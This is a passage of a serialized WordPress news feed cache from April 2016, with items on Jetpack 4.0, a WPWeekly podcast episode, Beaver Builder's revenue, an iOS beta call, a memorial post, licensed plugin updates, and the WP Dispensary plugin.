href="https://wordpress.org/support/forum/alphabeta">Alpha/Beta section</a> of the support forums.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 22 Apr 2016 02:17:11 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:34;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:86:"WPTavern: Jetpack 4.0 Released with UI Improvements and New Editor View for VideoPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53910";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:96:"http://wptavern.com/jetpack-4-0-released-with-ui-improvements-and-new-editor-view-for-videopress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2915:"<p>Shortly after Jetpack 4.0 was released yesterday many <a href="https://wordpress.org/support/topic/fatal-error-when-updating-to-jetpack-40-read-this" target="_blank">users reported a fatal error and/or white screen when updating</a>. Developers started <a href="https://www.facebook.com/groups/168889943173228?view=permalink&id=1141144765947736" target="_blank">warning each other in the Advanced WordPress Facebook group to avoid updating to 4.0</a>, after having received emails from clients with sites that went down. A followup 4.0.2 release was pushed out today for users with the specific configuration that caused the fatal error.</p>\n<p>This is the third time in under two months that the Jetpack team has had to send out a followup update on the heels of a release to correct significant problems. Fortunately, the team worked quickly to get a fix out to sites with fatal errors.</p>\n<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/jetpack-ui-improvements.png"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/jetpack-ui-improvements.png?resize=286%2C300" alt="jetpack-ui-improvements" class="alignright size-medium wp-image-53926" /></a>The 4.0 milestone brings major UI improvements for on-boarding new users. In previous versions of the plugin, visiting the Jetpack settings page showed a big green button prompting users to connect to WordPress.com.</p>\n<p>This release introduces a full page explaining the benefits of Jetpack to encourage users to hook it up. It also displays a picture of the development and support team, an explanation of Photon, and the benefits of the Protect module.</p>\n<p>Version 4.0 also adds a new editor view for VideoPress that lets users edit the shortcode in the editor with a new modal options window. This makes it easy to wrangle VideoPress settings directly in the editor</p>\n<p>A few other notable enhancements in this release include:</p>\n<ul>\n<li>Tighter WooCommerce Integration: Social sharing icons now appear on WooCommerce single product views</li>\n<li>Widget Visibility for Custom Post Type Archives: Show/hide widgets for CPT single or archive views</li>\n<li>Selective Refresh for Widgets: Widgets now update instantly with live previews in the customizer</li>\n<li>Updated schema.org Microdata for Breadcrumbs: Gives search engines a better understanding of a page&#8217;s position in the site hierarchy</li>\n</ul>\n<p>Jetpack 4.0 also adds performance enhancements for the Protect module and Contact Forms. The method it uses to clean the database of spam form submission records is now more efficient. Check out the <a href="https://wordpress.org/plugins/jetpack/changelog/" target="_blank">changelog</a> to see a full list of all the enhancements and fixes in this release. It should be safe to update your sites and clients&#8217; sites to 4.0.2 without any ill effects.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 21 Apr 2016 21:46:05 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:35;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:96:"WPTavern: WPWeekly Episode 231 – An Inside Look at the Plugin Review Process with Mika Epstein";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:44:"http://wptavern.com?p=53924&preview_id=53924";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:102:"http://wptavern.com/wpweekly-episode-231-an-inside-look-at-the-plugin-review-process-with-mika-epstein";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2951:"<p>In this episode of WordPress Weekly, <a href="https://discord.gg/0wOgTCREXzBiWNYG">Marcus Couch</a> and I are joined by <a href="https://halfelf.org/">Mika Epstein</a>. Epstein reviews plugins before they&#8217;re added to the WordPress plugin directory and volunteers on the WordPress support forums. We learn what the plugin review process is like and common security issues she discovers. I was shocked to learn that Epstein has experienced some of the worst in people from denying plugins into the directory.</p>\n<p>We discuss the idea of a WordPress notifications center and how it could help keep users aware of issues on their sites. Last but not least, she gives us a heads up on common issues that have been reported on the support forums since the release of WordPress 4.5.</p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a href="https://wordpress.org/plugins/ask-me-anything-anonymously/">Ask Me Anything (Anonymously), </a>by <a href="https://profiles.wordpress.org/arunbasillal/">Arun Basil Lal</a> from India, enables users to easily add a page or widget using a shortcode where visitors can ask you questions anonymously and you can list them along with your answers.</p>\n<p><a href="https://wordpress.org/plugins/admin-cleanup/">Admin Cleanup, </a>by <a href="https://profiles.wordpress.org/mgibbs189/">Matt Gibbs </a>from Charlottesville, VA, lets you hide menu items (e.g. Tools) entirely, or move them into the WordPress Admin Bar.</p>\n<p><a href="https://wordpress.org/plugins/logic-shortcodes/">Logic Shortcodes, </a>by <a href="https://profiles.wordpress.org/samueldiethelm/">Samuel Diethelm</a> from Marbella, Spain, enables the use of [if] shortcodes to work with conditional logic based on post meta or taxonomy terms on posts and pages. With conditional logic for taxonomy terms, you can use names, slugs or term_ids. For example: [if taxonomy=&#8221;category&#8221; slug=&#8221;cars&#8221;]Content to show[/if]</p>\n<p><a href="https://wordpress.org/plugins/dispensary-coupons/">Dispensary Coupons<b>, </b></a>by <a href="https://profiles.wordpress.org/deviodigital/">Robert DeVore </a>from Michigan, allows you to prominently display discounts on flower, tinctures, edibles and more with a simple shortcode or widget.</p>\n<h2>WPWeekly Meta:</h2>\n<p><strong>Next Episode:</strong> Wednesday, April 27th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href="https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738" target="_blank">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href="http://www.wptavern.com/feed/podcast" target="_blank">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href="http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr" target="_blank">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #231:</strong><br />\n</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 21 Apr 2016 19:15:32 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:36;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:79:"WPTavern: Beaver Builder Passes $1 Million in Revenue After 2 Years in Business";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53893";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:88:"http://wptavern.com/beaver-builder-passes-1-million-in-revenue-after-2-years-in-business";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2778:"<p><a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/beaver-builder.png"><img src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/beaver-builder.png?resize=1025%2C432" alt="beaver-builder" class="aligncenter size-full wp-image-53906" /></a></p>\n<p>Beaver Builder, the drag-and-drop page builder plugin, <a href="https://www.wpbeaverbuilder.com/2nd-birthday-big-milestone-april-update/" target="_blank">celebrated two years in business</a> this week. Fastline Media, the parent company, started as a web design agency, but due to the success of their product the team closed down its client services department at the beginning of 2016 to focus 100% on Beaver Builder. After just two years in business, the plugin has passed $1 million in revenue.</p>\n<p>Beaver Builder hired its first employee in April, 2015, a year after launching. It now employees four people full-time and a few part-time contractors in addition to its three founders. The plugin recently passed 100,000 active installations between the <a href="https://wordpress.org/plugins/beaver-builder-lite-version/" target="_blank">WordPress.org</a> and commercial versions.</p>\n<p>As part of their two year milestone post, the team also announced that it acquired the beaverbuilder.com domain name, which set them back $2,300, according to co-founder Robby McCullough.</p>\n<p>&#8220;There was a really good salesman for the holding company that we bought it through,&#8221; McCullough said. &#8220;He convinced me it was a steal. Considering it probably cost ~$10 originally, though, it was a bit of a sting.&#8221;</p>\n<p>McCullough said that he and his co-founders see Beaver Builder, and other WordPress website builders, as being a bridge between WordPress and its mainstream market competitors like Wix and Weebly.</p>\n<p>&#8220;This idea came up during Jeff King&#8217;s presentation at Pressnomics, as more and more traditional &#8216;jobs&#8217; become automated and obsolete (think driverless cars/trucks on the horizon),&#8221; McCullough said. &#8220;More and more people will be forced to start small businesses and create their own opportunities. Along with democratizing publishing, we think WordPress (and the web in general) — hopefully with the help of Beaver Builder — has the opportunity to &#8216;democratize the workforce.''&#8221;</p>\n<p>With the $1 million milestone under their belts, McCullough said the Beaver Builder co-founders plan to keep putting food on the table and taking care of customers.</p>\n<p>&#8220;We&#8217;ve made it this far by providing great support and embracing customer feedback,&#8221; McCullough said. &#8220;We might be in the driver seat, but our customers are the ones laying the track.&#8221;</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 21 Apr 2016 18:03:37 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:37;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:56:"WP Mobile Apps: WordPress for iOS: Call for beta testers";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:33:"http://apps.wordpress.com/?p=3397";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:78:"https://apps.wordpress.com/2016/04/21/wordpress-for-ios-call-for-beta-testers/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:769:"<p>Hello, WordPress users! We are launching a shiny, new TestFlight beta testing program for WordPress for iOS. If you yearn for the latest features, enjoy breaking things, and don&#8217;t mind uncovering a bug or two in the process, we need you!</p>\n<p>Please <a href="https://docs.google.com/forms/d/1n0sD8O_Upb9h5FvKj6z_MFWPH5valmpQgbZf5kQEejU/viewform">fill out our signup form</a> to request to join as a beta tester. If there are available spaces in the beta program, you will receive an email from TestFlight with instructions to download the latest beta release. We can&#8217;t wait to hear your feedback!</p>\n<img alt="" border="0" src="https://pixel.wp.com/b.gif?host=apps.wordpress.com&blog=108068616&post=3397&subd=apps&ref=&feed=1" width="1" height="1" />";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 21 Apr 2016 12:35:17 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:6:"Rachel";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:38;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:34:"Matt: In Memoriam: Chuck Mullenweg";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:22:"https://ma.tt/?p=46426";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:50:"https://ma.tt/2016/04/in-memoriam-chuck-mullenweg/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5678:"<p><img class="alignnone size-full wp-image-46437" src="http://i2.wp.com/ma.tt/files/2016/04/MCM_5265-1-1.jpg?resize=604%2C302&ssl=1" alt="MCM_5265 (1).JPG" /></p>\n<p>My father, Chuck Mullenweg, passed one week ago today. After over a month in ICU he had just been transferred to long-term acute care in a different hospital and we were looking forward to a tough but steady road to being back home when he took an unexpected and sudden turn. I&#8217;ve started and stopped writing this dozens of times since then and words continue to fail me.</p>\n<p>Here&#8217;s the rememberance that ran in the paper a few days ago:</p>\n<p><a href="http://i0.wp.com/ma.tt/files/2016/04/W01521910pdfpreview.png"><img class="aligncenter wp-image-46424 size-medium" src="http://i0.wp.com/ma.tt/files/2016/04/W01521910pdfpreview.png?resize=604%2C296" alt="" /></a></p>\n<p><img class="  wp-image-46500 alignright" src="http://i2.wp.com/ma.tt/files/2016/04/IMG_6024.jpg?resize=262%2C333&ssl=1" alt="IMG_6024.JPG" />It is impossible to overstate the influence my father has had on every part of my life: Why did I play saxophone? Dad did. Computers and programming? Dad did. Travel? He was frequently stationed overseas and even when we didn&#8217;t visit he would always bring back a cool gift for myself and my sister. He drove me to the HAL-PC office (local non-profit) every weekend where I&#8217;d learn so much fixing people&#8217;s broken computers and being exposed to open source for the first time. His O&#8217;Reilly &#8220;camel book&#8221; on Perl was the first scripting I learned, and he pointed me toward Mastering Regular Expressions which became the basis of <a href="https://ma.tt/2002/09/smart-quotes-in-php/">my first contribution to b2, texturize</a>.</p>\n<p>We were in a father / son bowling league. I remember admiring his work ethic so much: he&#8217;d get up before dawn every morning and put on a suit, grab his briefcase, and go to work. He often went in on weekends and I loved to go with him because they had &#8220;fast&#8221; internet at the office and I could read Dilbert and about Babylon 5. He was a voracious reader and learner, and loved tinkering whether it was cars or networking. In the other room I can hear a bitcoin mining rig he set up a few years ago. He was independent minded and unafraid to question the status quo.</p>\n<p><img class="aligncenter size-full wp-image-46504" src="http://i1.wp.com/ma.tt/files/2016/04/IMG_4385.jpg?resize=351%2C263&ssl=1" alt="IMG_4385.JPG" /></p>\n<p>There&#8217;s a photo somewhere of my dad mowing the lawn and me following behind him with a toy lawnmower, which is a perfect metaphor for how I&#8217;ve always followed in his footsteps.</p>\n<p><img class="alignnone size-full wp-image-46511" src="http://i1.wp.com/ma.tt/files/2016/04/MCM_5113.jpg?resize=604%2C238&ssl=1" alt="MCM_5113.jpg" /></p>\n<p>I&#8217;m at a loss.</p>\n<p>Parents are there literally the day you&#8217;re born, and it&#8217;s hard to imagine a life without them. Most people reading this will outlive their parents, and deal with their mortality and often difficult and painful final days as those who brought us into this world exit it. I&#8217;ve been reading and reading all the writing I can find on this topic, but nothing really prepares you for it, and nothing makes it better to go through. It&#8217;s terrible.</p>\n<p><img class="alignnone size-full wp-image-46508" src="http://i2.wp.com/ma.tt/files/2016/04/MCM_7807.jpg?resize=604%2C402&ssl=1" alt="MCM_7807.jpg" /></p>\n<p>He wasn&#8217;t someone to tell you what the right way to live was, in fact he was incredibly open minded. He didn&#8217;t tell you, he showed you how he lived his life from a place of integrity and trust, how he was in his relationship with my mom, how he was in business. He wasn&#8217;t flashy and seldom talked about his accomplishments or all the people he had helped out along the way. Many of the stories of appreciation coming in I&#8217;m hearing for the first time. In getting his books and taxes together this past week I was humbled by how simply he lived this season of his life, not into material things but cherishing relationships and his quiet life in the suburbs with my mother.</p>\n<p><img class="alignnone size-full wp-image-46499" src="http://i1.wp.com/ma.tt/files/2016/04/IMG_20151225_160835-1.jpg?resize=604%2C452&ssl=1" alt="IMG_20151225_160835 (1).jpg" /></p>\n<p>My biggest blessing has been my family. Every one is the most supportive you can imagine. So inspiring&#8230; much of what I&#8217;ve done in the world was in the context of making my parents proud, and their relationship to each other and the amazing man my dad was has set a bar I hope to approach in my lifetime. The last few years he got much better about showing his pride in my sister and I, and even more importantly saying &#8220;I love you,&#8221; the three words that are among the best gift we can give each other. Don&#8217;t forget to use them, even if it feels cheesy or embarrassing, and for those of you with parents still around please give them some <a href="http://waitbutwhy.com/2015/12/the-tail-end.html">extra time</a> and a hug for me. This was unexpected, we really believed he was on an upward trajectory. You never know when the words you share with someone might be the last.</p>\n<p><img class="alignnone size-full wp-image-46506" src="http://i1.wp.com/ma.tt/files/2016/04/MCM_5139.jpg?resize=604%2C402&ssl=1" alt="MCM_5139.JPG" /></p>\n<p>I made a page <a href="http://ma.tt/chuck/">you can see his official obituary, information about his memorial service in Katy, and leave any memories you have of him at ma.tt/chuck</a>.</p>\n<p>&nbsp;</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 21 Apr 2016 06:58:35 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:39;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:62:"WPTavern: A Tip for Convincing Customers to Renew License Keys";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53881";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:72:"http://wptavern.com/a-tip-for-convincing-customers-to-renew-license-keys";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3583:"<p>Mika Epstein, who helps review plugins before they&#8217;re added to the directory and is a dedicated support forum volunteer, <a href="https://halfelf.org/2016/despair-licensed-updates/">has a great post</a> on the difficulties associated with plugins that require license keys for updates. She addresses topics like keeping users informed, ownership, and bundling plugins with themes. She also suggests the following solution to get users with an expired license key to renew.</p>\n<blockquote><p>What if the updater kept checking, license expired or not, and when you clicked to upgrade it alerted you?</p>\n<p>Your license for Foobar has expired. Please renew it in order to upgrade.</p>\n<p>What if you got this email?</p>\n<p>Hey, you bought Foobar back in 2014 and that license lapsed. Normally I’d never bother you, but today I’ve pushed a major security fix. Since this is a security release, I’m offering you a discount. It’s already applied to your account, just log in and you can buy the upgrade at 50% off. If you’re not using Foobar anymore, click here and I’ll have your account flagged so we don’t bother you about this again.</p>\n<p>How happy would you be to find out someone saved your soy bacon?</p></blockquote>\n<p>Based <a href="https://halfelf.org/2016/despair-licensed-updates/#comment-75676">on the comments</a> of her article and from what Epstein has experienced from years of providing WordPress support, it&#8217;s a complex problem without a solution. The perils of updating commercial plugins bundled with themes that require a license key were apparent two years ago when a <a href="http://wptavern.com/critical-security-vulnerability-found-in-wordpress-slider-revolution-plugin-immediate-update-advised">critical security vulnerability was discovered</a> in Revolution Slider.</p>\n<p>Had the news not been published across media outlets, many users may not have known about the update. In some cases, users couldn&#8217;t update because they didn&#8217;t have the required license key, <a href="http://wptavern.com/critical-security-vulnerability-found-in-wordpress-slider-revolution-plugin-immediate-update-advised#comment-58566">as was the case with Brenda</a>.</p>\n<blockquote><p>The slider plugin was bundled in a theme that a PREVIOUS web developer installed for one of my clients. As such, I do not have the theme license key. There is NO WAY that I would ever have known about this extreme vulnerability had Sucuri not released it.</p></blockquote>\n<p>Some companies make security updates available to all customers regardless if their license is expired. For example, earlier this year, a <a href="http://wptavern.com/critical-security-vulnerability-discovered-in-elegant-themes-products">critical security vulnerability was discovered</a> in Elegant Themes products. Due to the severity of the issue, the company made the updates available for free to expired accounts. The updates contained only the security fix without any of the new features developed in recent versions.</p>\n<p>There&#8217;s a delicate balance between pushing customers to upgrade, renew license keys, and making it easy to do so. As Epstein says in the conclusion of her post, &#8220;If you make it easy to pay, people will renew and pay. If you inform them of security issues, they will pay and upgrade.&#8221;</p>\n<p>If you&#8217;re a commercial plugin developer, how do you inform and convince customers to renew their license keys? Also, how do you handle security updates for customers with expired licenses?</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 20 Apr 2016 22:49:41 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:40;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:79:"WPTavern: WP Dispensary Offers a Complete Marijuana Menu Solution for WordPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53859";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:89:"http://wptavern.com/wp-dispensary-offers-a-complete-marijuana-menu-solution-for-wordpress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4972:"<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/blueberry-kush.jpg"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/blueberry-kush.jpg?resize=1000%2C605" alt="photo credit: Blueberry Kush, Indica-3 - (license)" class="size-full wp-image-53861" /></a>photo credit: <a href="http://www.flickr.com/photos/57298467@N03/5500914557">Blueberry Kush, Indica-3</a> &#8211; <a href="https://creativecommons.org/licenses/by/2.0/">(license)</a>\n<p>With <a href="http://medicalmarijuana.procon.org/view.resource.php?resourceID=000881" target="_blank">24 states</a> having enacted laws to legalize medical marijuana, the industry is booming and dispensaries need websites. <a href="https://wordpress.org/plugins/wp-dispensary/" target="_blank">WP Dispensary</a>, released five months ago, is the first WordPress plugin to target this underserved market.</p>\n<p>After creating <a href="https://wordpress.org/plugins/leafly-reviews/" target="_blank">Leafly Reviews</a>, a plugin that displays dispensary reviews from Leafly using a widget or shortcode, <a href="http://www.robertdevore.com" target="_blank">Robert DeVore</a> decided he wanted to make more solutions to help dispensary owners build professional websites. <a href="https://wordpress.org/plugins/wp-dispensary/" target="_blank">WP Dispensary</a> and <a href="https://wordpress.org/plugins/dispensary-coupons/" target="_blank">Dispensary Coupons</a> soon followed on WordPress.org.</p>\n<p>Many marijuana dispensaries post their product menus on a board, printed on paper, or displayed on a tablet. The WP Dispensary plugin makes it easy to enter products, with all their relevant details, into a menu for display on a WordPress-powered website. This makes it easy for the dispensary owner to create, edit, and maintain a master list of products, which can also be displayed in the store.</p>\n<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/wpd-menu-update-1.4.jpg"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/wpd-menu-update-1.4.jpg?resize=160%2C174" alt="wpd-menu-update-1.4" class="alignright size-full wp-image-53872" /></a>The plugin creates custom post types for flowers, edibles, concentrates, pre-rolls, and topicals. It also includes custom taxonomies for aromas, flavors, effects, symptoms, and conditions. This allows visitors to easily sort available products.</p>\n<p>Entering a new menu item is as easy as writing a post, so dispensary owners will have no problem keeping their menus updated:</p>\n<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/add-flower.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/add-flower.png?resize=1025%2C489" alt="add-flower" class="aligncenter size-full wp-image-53885" /></a></p>\n<p>Dispensary owners can also enter product prices for flowers and concentrates based on weight, from 1/2 gram to an ounce. Edibles and pre-rolls allow you to enter the THC and CBD percentages.</p>\n<p>Today&#8217;s <a href="http://www.wpdispensary.com/wp-dispensary-version-1-4/" target="_blank">version 1.4 release</a>, in honor of the 4/20 holiday, adds topicals to the existing custom post types, with extra product information options for unit price, unit size, and THC mg and CBD mg.</p>\n<p>When used in combination with DeVore&#8217;s free <a href="https://github.com/deviodigital/dispensary-display-wordpress-theme" target="_blank">Dispensary Display</a> theme, products are displayed beautifully on the frontend with images for each menu item. After updating it to be compatible with the 